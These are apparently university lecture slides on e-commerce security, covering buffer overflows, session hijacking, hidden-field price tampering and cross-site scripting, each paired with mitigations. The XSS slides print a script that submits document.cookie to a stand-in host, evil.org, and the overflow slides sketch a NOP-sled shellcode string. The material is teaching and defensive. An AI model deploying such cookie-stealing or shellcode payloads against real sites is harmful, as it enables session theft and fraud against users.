cse 190: internet e-commerce lecture 15: security

29
CSE 190: Internet E- Commerce Lecture 15: Security

Post on 22-Dec-2015

216 views

Category:

Documents


0 download

TRANSCRIPT

CSE 190: Internet E-Commerce

Lecture 15: Security

Security: Three Focuses

• Prevention– Most common approach

• Detection– Beyond Intrusion Detection Systems (IDS) –

what is application responsibility

• Recovery– Often neglected

• Reference: “Secrets & Lies” by Schneir

Security Posture of ane-Commerce Infrastructure

Firewall

Server

Application

O/S

Physical Perimeter

Data

Video

Attack: Buffer Overflow

• Based on boundary checking failurefoo(char *s) {

char buf[42];

// ...

strcpy(buf, s);

// ...

}

• What if strlen(s) > 42 ?

Stack Frame

0000 0000 08000490 FFFF2480

SP

buf RET s

Consider:

s = “AAAAAAAAAAAAA…AAAAA”;

Stack Frame

4141 4141 41414141 41414141

SP

buf RET s

Consider:

s = “AAAAAAAAAAAAA…AAAAA”;

Executing Code

• Basic Principle– Place code in buffer– Overwrite return address to point to code

• Shell code– Often: execve(“/bin/sh”, args)

• NOP sled

Shell Code (cont)

9090...9090 EBAF...68 FFFF...DE FFFF01DE FFFF01DE

SP

buf RET s

s = “\x90\x90...\x90” /* NOP sled */ “\xeb.../bin/sh” /* shellcode */ “\xff\xff\x01\xde...\xff\xff\x01\xde”

/* return addr */;

Buffer Overflow: Impact

• Execute arbitrary code with privileges of vulnerable process

• Often remotely exploitable

• Examples:– Code Red (Microsoft IIS Indexing DLL)– Oracle 8i TNS Listener – Netscape Enterprise Content Negotiation

Buffer Overflow Mitigation

• Coding Standards– strncpy() instead of strcpy(), etc…– Completeness?

• Code audits– Manual/Automated

• Robust/Automated Memory Management– String classes– Java, Perl etc

• Testing– Coverage?– Correctness through testing harder than development

Attack: Hijacking Sessions

• Insufficient Entropy (Randomness) in session Ids

Client 1

Cookie: sess=TWGYLZIAAACVDQ3UUSZQV2I

Client 2 Cookie: sess=TWGY0WYAAACVFQ3UUSZQV2I

E.g., IBM Websphere 3.x

Session Hijacking: Impact

• Brute-force search for valid session Ids– Web server as oracle

• Full, unauthorized control over user session– Information disclosure– Online theft– Pretexting

Session Hijacking: Mitigation

• Generate Session IDs using cryptographically strong PRNG

• `Good’ source of entropy– E.g. /dev/urandom

• Cryptographic verification– E.g. HMAC-SHA1

• App-level IDS– Alert on multiple, invalid session IDs

Client State Perturbation

Merchant.com

Confirm Purchase

DVD XYZQuantity: 2Price: 23.45Total: 46.90

OK

<FORM METHOD=POST ACTION=https://merchant.com/buy.cgi> . . . <INPUT TYPE=HIDDEN NAME=TOTAL VALUE=46.90>

<INPUT TYPE=SUBMIT VALUE=‘ OK ‘></FORM>

Client State Perturbation: Impact

• Fraud (previous example)

• Unauthorized Access to Informationhttps://url.com/show_account.cgi?cust_id=29352

• Unauthorized Modification of Data

Client State Perturbation: Mitigation

• Do not trust any values received from client (URL params, forms, cookies)– Cross-validate against known session state– Cryptographically verify arguments (MAC)

• Minimize state maintained in client– Server-side session object– Stateless UI Flows

Attack: Cross-Site Scripting

Merchant.comProduct Search

Submit

xyz Merchant.comSearch results forquery `xyz’:

DVD XYZ

...

<P>Search results for query`xyz’<P><HR>

...

Cross-Site Scripting (cont)

Merchant.comProduct Search

Submit

<SCRI Merchant.comSearch results forquery `’:

Nothing found

...

<P>Search results for query`<SCRIPT> alert(“boo!”);</SCRIPT>’<P><HR>Nothing found

...

boo!

Ok

Cross-Site Scripting:Malicious Script

<form name=snagaction=http://evil.org/

snag_it.cgi method=post>

<input type=hiddenname=it>

</form>

<script> document.snag.it= document.cookie; document.snag.submit();

</script>

• Script discloses cookie to evil.org

• JavaScript security model:– Same Origin policy– Script can only access

properties of objects form its own domain of origin

• Execute script with origin “merchant.com”?

Cross-Site Scripting: Injecting Malicious Script

http://evil.org/evil.html

<form name=f action= http://www.merchant.com/ search.cgi method=post>

<input type=text name=query value=“<form name=snag ...”><input type=submit ...></form>

<script> document.f.submit();</script>

• Arrange for target to view page containing<iframe src=.../evil.html>

– Any page under evil.org’s control

– HTML email

• Form POST to merchant.com

• Form POST of cookie to evil.org

Cross-Site Scripting:Impact

• Unauthorized disclosure of user information

• Unauthorized gaining of control over use sessions– Theft– Etc…

Cross-Site Scripting: Mitigation

• Escape user input before rendering in-line with HTML:<P>Search results for query`&lt;SCRIPT&gt;

• Challenges– Input processing: Verbatim processing of

inputs– Output processing: Coverage

Architectural Considerations:Dealing with the Unknown

• Defense in Depth

• Trust Relationships

• Compartmentalization

• Encryption

• Passive Defense vs. Active Response

Multi-Tiered Architecture

Firewall Web Server

DB

Application ServerFirewall Firewall

IDSIDS IDSIDS

Tight filtering policies between networks

Effective against unknown vulnerabilities with “execute code on server” impact

Host/Network IDS: Response Capability

Security: DMZ

• DMZ: Demilitarized Zone– Servers designated less secure; not related to terrorism!

• Use two firewalls to create a DMZ; database behind 2nd

Trust Relationships/ Compartmentalization

• Minimize assumptions/trust between architectural tiers/software layers– Multiple layers of validation– Independent authentication/authorization

• E.g. Granular DB-level access control– Views– Stored procedures

• Mitigation of input validation errors

Encryption

• Protection of data in transit/persistent store– 3DES, AES, RSA– SSL

• Data protection in partially compromised system

• Insider Threat– Separation of duties (DBA vs. Key Mgmt)

Encryption

• Secure Sockets Layer (SSL)• Encrypts just before converting HTTP content

into TCP/IP packets for Internet transmission.• HTTPS: denotes secure servers. Default port is

443 (as opposed to 80 of HTTP servers). Both can run on same machine.

• Client and server exchange session-long encryption keys, and also server authenticates via certificate

Defense vs. Recovery

• No software is 100% bug free• Some bugs constitute vulnerabilitiesNo software is 100% secure

• Detection and response capabilities– Exception handling– Log scanning– Operator alerts